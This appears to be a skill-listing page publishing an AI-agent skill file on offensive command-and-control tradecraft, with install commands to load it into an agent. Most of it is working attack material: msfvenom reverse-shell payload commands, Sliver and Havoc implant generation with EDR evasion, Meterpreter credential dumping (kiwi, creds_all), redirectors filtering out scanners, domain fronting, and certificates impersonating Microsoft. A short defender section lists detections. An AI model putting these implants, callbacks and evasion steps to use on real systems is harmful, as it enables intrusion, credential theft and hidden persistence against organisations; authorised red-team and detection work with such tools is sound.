offensive-c2-frameworks skill

by SnailSploit·SnailSploit/Claude-Red·7.0k stars·MIT

Command and Control framework deployment, configuration, and operational tradecraft for red team engagements. Covers Cobalt Strike (malleable C2 profiles, Beacon types HTTP/HTTPS/DNS/SMB, Beacon Object Files for in-memory execution, sleep and jitter tuning, named pipe pivoting), Sliver (implant generation across mTLS/WireGuard/DNS transport, operator multiplayer mode, armory extensions), Mythic (agent ecosystem with Apollo/Poseidon/Medusa, C2 profile configuration, translation containers), Havoc (Demon agent with sleep obfuscation via Ekko/Zilean, indirect syscalls, dotnet inline execution), Metasploit (msfvenom payload generation, multi/handler staging, Meterpreter post-exploitation modules), redirector architecture using Apache mod_rewrite and Nginx, domain fronting through CDN providers, DNS-based C2 for restrictive network egress, and TLS certificate management for infrastructure OPSEC. Tools: Cobalt Strike, Sliver, Mythic, Havoc, Metasploit Framework. Aligns to MITRE ATT&CK T1071 (Application Layer Protocol), T1573 (Encrypted Channel), T1090 (Proxy/Connection Proxy).

A97/100content scan

Is the offensive-c2-frameworks skill safe?

Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.

lowSKILL.md:1
The description is over 1,024 characters, the limit agents read.
```
1088 characters
```

Install the offensive-c2-frameworks skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-Red/Skills/forensics/offensive-c2-frameworks ~/.claude/skills/offensive-c2-frameworks

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Offensive C2 Frameworks

Command and Control is the backbone of any sustained red team engagement. Your C2 framework manages implant communication, task distribution, post-exploitation, and lateral movement coordination. Selecting and configuring the right framework -- and layering proper infrastructure around it -- determines whether your operation survives the first 48 hours or burns within minutes of initial access.

This skill covers the major C2 frameworks you encounter in professional red teaming, their configuration for operational security, the infrastructure patterns that protect your backend servers, and the tradecraft decisions that separate detectable operations from resilient ones. You are expected to understand not just how to deploy these tools, but why specific configuration choices matter against modern EDR and network monitoring.

Quick Workflow

Define your engagement's network constraints -- identify allowed egress protocols, proxy requirements, and monitoring posture.
Select a primary C2 framework and transport based on target environment restrictions.
Build redirector infrastructure between your implants and your team server -- never expose the team server directly.
Configure communication profiles to mimic legitimate traffic patterns for the target organization.
Generate implants with appropriate sleep intervals, jitter, and kill dates.
Establish primary and fallback C2 channels using different transports and infrastructure.
Monitor your C2 traffic against detection signatures before deploying to production targets.

Cobalt Strike

Cobalt Strike remains the most widely deployed commercial C2 framework. Its strength lies in malleable C2 profiles, Beacon flexibility, and a mature post-exploitation toolkit. You configure it for stealth through profile customization, sleep management, and BOF execution.

Malleable C2 Profiles

Malleable profiles define how Beacon communicates -- HTTP headers, URI paths, data encoding, and TLS parameters. A well-crafted profile mimics a specific legitimate application.

# Example malleable profile -- mimicking Microsoft 365 traffic
set sleeptime "60000";
set jitter    "37";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0";
set data_jitter "50";

https-certificate {
    set C   "US";
    set ST  "Washington";
    set L   "Redmond";
    set O   "Microsoft Corporation";
    set OU  "Microsoft IT";
    set CN  "outlook.office365.com";
    set validity "365";
}

http-get {
    set uri "/owa/auth/logon.aspx /autodiscover/autodiscover.xml";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Accept-Language" "en-US,en;q=0.9";
        header "Connection" "keep-alive";

        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/html; charset=utf-8";
        header "Server" "Microsoft-IIS/10.0";
        header "X-Powered-By" "ASP.NET";

        output {
            base64;
            prepend "<!DOCTYPE html><html><head></head><body>";
            append "</body></html>";
            print;
        }
    }
}

http-post {

Beacon Types and Pivoting

# Beacon types and their use cases:
# HTTP/HTTPS Beacon  -- standard egress, most flexible
# DNS Beacon         -- low-bandwidth, high-stealth for restrictive networks
# SMB Beacon         -- named pipe, for internal pivoting (no egress needed)
# TCP Beacon         -- bind/reverse TCP for internal pivoting

# Generate payloads via Cobalt Strike GUI or aggressor scripts
# Stageless is preferred for OPSEC -- avoids the staging handshake

# Named pipe pivoting: link internal hosts through SMB Beacons
# On pivot host with HTTPS Beacon:
#   beacon> link 10.10.10.50 \\.\pipe\msagent_89
# The SMB Beacon on 10.10.10.50 communicates through the pivot host

# Sleep and jitter configuration in Beacon
#   beacon> sleep 300 45
#   Sets 300-second sleep with 45% jitter (sleep varies 165-435 seconds)
#   High sleep + high jitter = harder to detect via beaconing analysis

Beacon Object Files (BOFs)

BOFs execute compiled C code directly in Beacon's memory without spawning a new process -- critical for evading process-based detections.

/* example_bof.c -- inline whoami without spawning a child process */
#include <windows.h>
#include "beacon.h"

void go(char *args, int alen) {
    DWORD bufSize = 256;
    char username[256];
    char domain[256];

    WINBASEAPI BOOL WINAPI KERNEL32$GetUserNameA(LPSTR, LPDWORD);
    WINBASEAPI BOOL WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);

    if (ADVAPI32$GetUserNameA(username, &bufSize)) {
        BeaconPrintf(CALLBACK_OUTPUT, "Username: %s", username);
    }
}

# Compile and load BOF
# x86_64-w64-mingw32-gcc -c example_bof.c -o example_bof.o
# beacon> inline-execute example_bof.o

# Key BOF repositories for red teams:
#   - trustedsec/CS-Situational-Awareness-BOF (user/network enumeration)
#   - anthemtotheego/InlineWhispers (syscall-based BOFs)
#   - rvrsh3ll/BOF_Collection (mixed utility BOFs)

Sliver

Sliver is an open-source C2 framework with native support for mTLS, WireGuard, HTTP(S), and DNS transports. It supports multiplayer operation, allowing multiple operators to share a team server.

Implant Generation

# Start Sliver server
./sliver-server

# Generate implants with different transports

# mTLS implant -- encrypted, mutual authentication
sliver > generate --mtls 10.10.14.5 --os windows --arch amd64 \
    --name FINANCE-WS --skip-symbols --disable-sgn

# WireGuard implant -- encapsulated in WireGuard tunnel
sliver > generate --wg 10.10.14.5:53 --os windows --arch amd64 \
    --name FINANCE-WG --skip-symbols

# DNS implant -- for highly restrictive networks
sliver > generate --dns c2.example.com --os windows --arch amd64 \
    --name FINANCE-DNS --skip-symbols

# HTTP(S) implant with custom parameters
sliver > generate --http https://cdn.example.com --os windows --arch amd64 \
    --name FINANCE-HTTPS --skip-symbols \
    --seconds 60 --jitter 30

# Start matching listeners
sliver > mtls --lhost 0.0.0.0 --lport 8888
sliver > wg --lport 53
sliver > dns --domains c2.example.com
sliver > https --domain cdn.example.com --lport 443

Operator Multiplayer and Armory

# Multiplayer: generate operator configs for team members
sliver > new-operator --name operator1 --lhost teamserver.internal
# Distribute the resulting .cfg file to operators

# Armory: install community extensions
sliver > armory install rubeus
sliver > armory install seatbelt
sliver > armory install sharp-hound-4

# Use extensions in a session
sliver (FINANCE-WS) > rubeus kerberoast
sliver (FINANCE-WS) > seatbelt -- -group=all

# Pivoting through Sliver
sliver (FINANCE-WS) > portfwd add --bind 127.0.0.1:9050 --remote 172.16.0.10:445
sliver (FINANCE-WS) > socks5 start

Mythic

Mythic is a modular C2 platform with a web-based UI and a plug-in architecture for agents, C2 profiles, and translation containers. You select agents based on target OS and capability requirements.

Agent Selection and Deployment

# Install Mythic
git clone https://github.com/its-a-feature/Mythic.git
cd Mythic
./mythic-cli install github https://github.com/MythicAgents/apollo
./mythic-cli install github https://github.com/MythicAgents/poseidon
./mythic-cli install github https://github.com/MythicAgents/medusa
./mythic-cli install github https://github.com/MythicC2Profiles/http

# Start Mythic
./mythic-cli start

# Agent capabilities:
# Apollo    -- Windows C# agent, inline .NET assembly, token manipulation
# Poseidon  -- macOS/Linux Go agent, SSH spawning, keylogging
# Medusa    -- Python agent, cross-platform, extensible

C2 Profile Configuration

{
    "name": "http_profile",
    "is_p2p": false,
    "parameters": [
        {
            "name": "callback_host",
            "value": "https://cdn-static.example.com"
        },
        {
            "name": "callback_port",
            "value": 443
        },
        {
            "name": "callback_interval",
            "value": 60
        },
        {
            "name": "callback_jitter",
            "value": 37
        },
        {
            "name": "headers",
            "value": {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
                "Accept": "text/html,application/xhtml+xml",
                "Host": "cdn-static.example.com"
            }
        },
        {
            "name": "get_uri",
            "value": "/api/v1/content"
        },
        {
            "name": "post_uri",
            "value": "/api/v1/telemetry"
        }
    ]
}

Havoc

Havoc is a modern C2 framework featuring the Demon agent with advanced evasion capabilities including sleep obfuscation, indirect syscalls, and hardware breakpoint-based AMSI/ETW bypasses.

Demon Agent Configuration

# Havoc teamserver configuration -- havoc.yaotl
Teamserver:
  Host: "0.0.0.0"
  Port: 40056
  Build:
    Compiler64: "/usr/bin/x86_64-w64-mingw32-gcc"
    Nasm: "/usr/bin/nasm"

Operators:
  - Name: "operator1"
    Password: "Sup3rS3cure!"

Listeners:
  - Name: "HTTPS-Primary"
    Protocol: "Https"
    Host: "10.10.14.5"
    Port: 443
    Secure: true
    Uris:
      - "/api/v2/session"
      - "/api/v2/health"
      - "/api/v2/telemetry"
    Headers:
      - "Content-Type: application/json"
      - "Server: nginx/1.24.0"
      - "X-Request-Id: "

Sleep Obfuscation and Evasion

# Demon sleep obfuscation techniques:
# Ekko   -- timer-queue based, encrypts Beacon in memory during sleep
# Zilean -- similar approach using undocumented APIs
# Foliage -- APC-based sleep obfuscation

# Demon agent generation options:
# - Indirect syscalls: bypass user-mode hooks by resolving syscall numbers dynamically
# - Sleep mask: encrypt agent memory during sleep to evade memory scanners
# - Stack spoofing: manipulate return addresses to hide call origin
# - AMSI/ETW patching: hardware breakpoints avoid in-memory patching detection

# In the Havoc UI:
# Payload > Generate > Demon
#   Sleep Technique: Ekko
#   Indirect Syscalls: Enabled
#   Sleep Mask: Enabled
#   AMSI/ETW Bypass: Hardware Breakpoints
#   Sleep: 60
#   Jitter: 40

Metasploit Framework

Metasploit remains essential for payload generation, initial access exploitation, and environments where commercial tools are unavailable. You use msfvenom for payload generation and multi/handler for catching callbacks.

Payload Generation with msfvenom

# Staged vs Stageless:
# Staged (windows/meterpreter/reverse_https) -- small initial payload, downloads stage
# Stageless (windows/meterpreter_reverse_https) -- full payload, no staging handshake

# Windows stageless HTTPS Meterpreter
msfvenom -p windows/x64/meterpreter_reverse_https \
    LHOST=10.10.14.5 LPORT=443 \
    HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
    StagerVerifySSLCert=true \
    HandlerSSLCert=/opt/certs/c2.pem \
    -f exe -o payload.exe

# C# shellcode for custom loaders
msfvenom -p windows/x64/meterpreter_reverse_https \
    LHOST=10.10.14.5 LPORT=443 \
    -f csharp -o shellcode.cs

# Linux ELF payload
msfvenom -p linux/x64/meterpreter_reverse_tcp \
    LHOST=10.10.14.5 LPORT=4444 \
    -f elf -o payload.elf

# macOS Mach-O payload
msfvenom -p osx/x64/meterpreter_reverse_tcp \
    LHOST=10.10.14.5 LPORT=4444 \
    -f macho -o payload.macho

Multi/Handler Configuration

# Resource script: handler.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter_reverse_https
set LHOST 0.0.0.0
set LPORT 443
set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
set HandlerSSLCert /opt/certs/c2.pem
set StagerVerifySSLCert true
set SessionCommunicationTimeout 600
set ExitOnSession false
set EnableStageEncoding true
set AutoRunScript "post/windows/manage/migrate"
run -j

# Launch with resource script
# msfconsole -r handler.rc

# Post-exploitation essentials in Meterpreter
# meterpreter> getuid
# meterpreter> sysinfo
# meterpreter> migrate -N explorer.exe
# meterpreter> load kiwi
# meterpreter> creds_all
# meterpreter> portfwd add -l 9050 -p 445 -r 172.16.0.10
# meterpreter> run post/multi/manage/autoroute
# meterpreter> background
# msf6> use auxiliary/server/socks_proxy
# msf6> run

Redirector Infrastructure

Never expose your team server directly to target networks. Redirectors sit between implants and your C2 server, absorbing scans and providing disposable frontend infrastructure.

Apache mod_rewrite Redirectors

# /etc/apache2/sites-enabled/redirector.conf
# Redirect valid C2 traffic to team server, send everything else to a decoy

<VirtualHost *:443>
    ServerName cdn-static.example.com
    SSLEngine on
    SSLCertificateFile /etc/letsencrypt/live/cdn-static.example.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/cdn-static.example.com/privkey.pem

    RewriteEngine On

    # Block common scanners and researchers
    RewriteCond %{HTTP_USER_AGENT} (curl|wget|python|scanner|nikto|nmap) [NC]
    RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]

    # Require correct URI paths matching your C2 profile
    RewriteCond %{REQUEST_URI} ^/owa/auth/logon\.aspx$ [OR]
    RewriteCond %{REQUEST_URI} ^/owa/service\.svc$ [OR]
    RewriteCond %{REQUEST_URI} ^/autodiscover/autodiscover\.xml$
    RewriteRule ^.*$ https://teamserver.internal:443%{REQUEST_URI} [P,L]

    # Everything else goes to a legitimate-looking decoy
    RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]

    ProxyPassReverse / https://teamserver.internal:443/
</VirtualHost>

CDN Fronting and Domain Borrowing

# Domain fronting: use a CDN where the Host header routes to your backend
# The outer TLS SNI shows a legitimate domain; the inner Host header reaches your C2

# Example with a CDN:
# 1. Register your backend with the CDN (e.g., cdn-12345.example-cdn.net)
# 2. In your C2 profile, set Host header to your CDN endpoint
# 3. Implants connect to a high-reputation CDN IP
# 4. Network monitors see traffic to the CDN, not your server

# Malleable profile snippet for CDN fronting
http-get {
    set uri "/content/static/js/app.js";
    client {
        header "Host" "your-tenant.cdn-provider.net";
        header "Accept" "*/*";
    }
}

# Domain borrowing: use an abandoned or unmonitored subdomain
# on a trusted domain that points to infrastructure you control
# Requires finding dangling CNAME or A records

DNS-Based C2

DNS C2 operates over port 53 and often bypasses firewall restrictions. The tradeoff is bandwidth -- DNS channels are slow but resilient.

# DNS C2 infrastructure setup
# 1. Register a domain: c2ops.example.com
# 2. Create NS records pointing a subdomain to your team server
#    dns.c2ops.example.com  NS  ns1.c2ops.example.com
#    ns1.c2ops.example.com  A   <team-server-ip>

# 3. Configure Cobalt Strike DNS listener
#    Listeners > Add > Beacon DNS
#    DNS Hosts: dns.c2ops.example.com
#    DNS Port (Bind): 53

# 4. Sliver DNS listener
# sliver > dns --domains dns.c2ops.example.com --lport 53

# Verify DNS resolution reaches your server
dig A test.dns.c2ops.example.com @8.8.8.8
# If your team server receives the query, DNS C2 will function

# DNS over HTTPS (DoH) for the implant's DNS resolution
# prevents local DNS logging while maintaining DNS-based C2 transport

Certificate Management

TLS certificates on your C2 infrastructure affect both OPSEC and implant trust validation.

# Let's Encrypt for legitimate-looking certificates
certbot certonly --standalone -d cdn-static.example.com \
    --agree-tos --email ops@example.com

# Self-signed with matching metadata for internal redirectors
openssl req -x509 -newkey rsa:4096 -sha256 -days 365 \
    -keyout c2.key -out c2.crt -nodes \
    -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Corporation/CN=outlook.office365.com" \
    -addext "subjectAltName=DNS:outlook.office365.com,DNS:*.office365.com"

# PKCS12 bundle for Cobalt Strike
openssl pkcs12 -export -in c2.crt -inkey c2.key -out c2.p12 \
    -name "outlook.office365.com" -passout pass:changeit

# Import into Cobalt Strike keystore
keytool -importkeystore -srckeystore c2.p12 -srcstoretype PKCS12 \
    -destkeystore c2.store -deststoretype JKS \
    -srcstorepass changeit -deststorepass changeit

# Certificate pinning in implants prevents MitM from security appliances
# Cobalt Strike: set trust_x509_c2 in malleable profile
# Sliver: mTLS provides mutual authentication by default

Detection / Defender View

Network defenders and threat hunters target C2 at multiple layers:

JA3/JA3S fingerprinting: TLS client and server hello fingerprints can identify C2 frameworks. Cobalt Strike's default Java TLS stack has distinctive JA3 hashes. Mitigation: use a custom TLS stack or CDN fronting to inherit the CDN's JA3S.
Beacon analysis: Regular callback intervals, even with jitter, produce statistical patterns. Network detection tools (Rita, Zeek) perform frequency analysis on connection metadata. Mitigation: high jitter (40%+), variable sleep, interactive-only callbacks.
HTTP profile signatures: Default malleable profiles have published signatures. Defenders extract indicators from profile configurations shared in threat intel. Mitigation: build custom profiles, avoid public templates, validate against known signature sets using c2lint.
DNS tunneling detection: High query volumes to a single domain with high-entropy subdomain labels indicate DNS C2. Mitigation: rate-limit DNS callbacks, use short labels, mix with legitimate resolution.
Memory scanning: EDR agents scan process memory for known C2 framework strings, reflective loader stubs, and shellcode patterns. Mitigation: sleep obfuscation, in-memory encryption, BOFs over fork-and-run.
Certificate anomalies: Self-signed certificates, certificates with metadata mismatching the domain, or short-lived certificates raise alerts. Mitigation: use legitimate CA-issued certificates via Let's Encrypt.
Named pipe monitoring: Sysmon EventID 17/18 logs named pipe creation and connection, revealing SMB Beacon pivoting. Mitigation: use pipe names that mimic legitimate Windows services.

Engagement Cheatsheet

More skills from SnailSploit/Claude-Red

Aoffensive-active-directoryActive Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
Aoffensive-advanced-redteamComprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.
Coffensive-ai-security
Aoffensive-anti-forensicsAnti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.
Aoffensive-api-abuseAdvanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.
Aoffensive-api-securityComprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.
Aoffensive-bluetooth-bleBluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.
Aoffensive-bluetooth-classicBluetooth Classic (BR/EDR) attack methodology — device discovery, service enumeration via SDP, LMP/L2CAP layer attacks, legacy PIN cracking (BlueBorne / KNOB), Bluetooth file-transfer abuse (BlueSnarfing legacy), unauthenticated profile abuse (HSP, HFP, OPP), and modern relevance against older industrial / automotive / accessory targets. Use when in-scope devices use Bluetooth Classic (Bluetooth ≤ 4.0 BR/EDR) — common in legacy car kits, industrial sensors, older medical devices, and audio accessories.
Aoffensive-bug-identification
Aoffensive-business-logicBusiness logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact.
Doffensive-cicd-pipelineComprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline agent compromise with service connection theft. Includes artifact poisoning techniques across all platforms, tooling guidance for gato and jenkins-attack-framework, and maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain). Covers enumeration of pipeline configurations, privilege escalation from contributor to code execution, lateral movement through pipeline trust boundaries, and persistence via modified workflow definitions. Each technique section provides working exploitation code, detection indicators, and defensive countermeasures.
Coffensive-cicd-secretsComprehensive secrets extraction methodology targeting CI/CD environments across all major platforms. Covers environment variable extraction from build contexts, exploitation of vault and secrets-manager misconfigurations (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager), runner and agent token abuse for lateral movement, OIDC federation attacks exploiting trust relationships between CI/CD providers and cloud platforms, build log leakage analysis for inadvertently exposed credentials, cache poisoning techniques for credential exfiltration, platform-specific credential store exploitation (GitHub Actions secrets, GitLab CI variables, Jenkins credential providers), service connection and service account abuse in Azure DevOps and GCP, and Docker registry credential theft from build environments. Maps to MITRE ATT&CK T1552 (Unsecured Credentials) and its sub-techniques. Each section provides enumeration procedures, extraction techniques, and post-exploitation pivoting guidance for using recovered secrets to expand access.

All agent skills → · MCP servers